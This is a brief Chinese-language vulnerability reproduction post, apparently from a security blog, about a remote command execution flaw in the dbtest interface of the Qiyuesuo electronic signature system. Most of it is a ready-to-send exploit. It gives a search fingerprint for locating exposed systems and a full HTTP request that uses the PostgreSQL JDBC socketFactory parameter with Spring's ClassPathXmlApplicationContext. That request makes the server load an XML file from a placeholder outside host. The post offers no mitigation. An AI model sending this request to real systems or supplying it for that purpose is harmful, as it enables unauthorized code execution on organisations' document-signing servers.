【漏洞复现】契约锁电子签章系统dbtest接口存在远程命令执行漏洞

熔城Sec

发布于 2026-07-22 19:51:15

870

漏洞描述

契约锁电子签章系统dbtest接口存在远程命令执行漏洞

资产收集

鹰图平台
web.similar_id="f7122cd913fc451f5929b0b689d4b7d8"

发送请求

GET /setup/dbtest?db=POSTGRESQL&host=localhost&port=5511&username=root&name=test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://XXX.XXX.dnslog.cn/1.xml HTTP/1.1
Host: xx.xx.xx.xxx
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive

返回dnslog请求记录